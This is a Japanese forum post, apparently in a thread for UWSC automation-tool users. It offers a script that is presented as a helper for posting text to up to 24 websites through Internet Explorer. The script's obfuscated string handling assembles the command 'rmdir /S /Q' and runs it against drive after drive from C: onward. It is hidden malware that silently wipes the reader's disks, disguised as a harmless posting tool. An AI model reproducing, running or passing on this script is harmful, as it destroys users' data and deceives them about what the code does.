自動化ツールuwsc使いよ集まれ4

>>682
書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。
前後の「"」は忘れずに！

dim site[25],kakikomi[25]
site[1]="http://hyde156cm.com/aaabb/cccddd/efg.html"
・・・（省略）・・・
site[24]="http://hogehoge.co.jp/aaa/bcd.cgi"
kakikomi[1]="テキスト１"
・・・（省略）・・・
kakikomi[24]="テキスト２４"

mode="mdS5RgzP4/Q B"
aaa="InternetExplorer.Application"
bbb=":\"
cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb
size=66
for time=1 to 24
　cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
　if "" <> doscmd(cc) then continue
　IE = CreateOLEObj(aaa)
　IE.Visible = True
　IE.Navigate(site[time])
　IESetData(IE,True,"lr",kakikomi[time])
　GETTIME()
　ifb time=G_TIME_HH then
　　sleep(3600)
　endif
next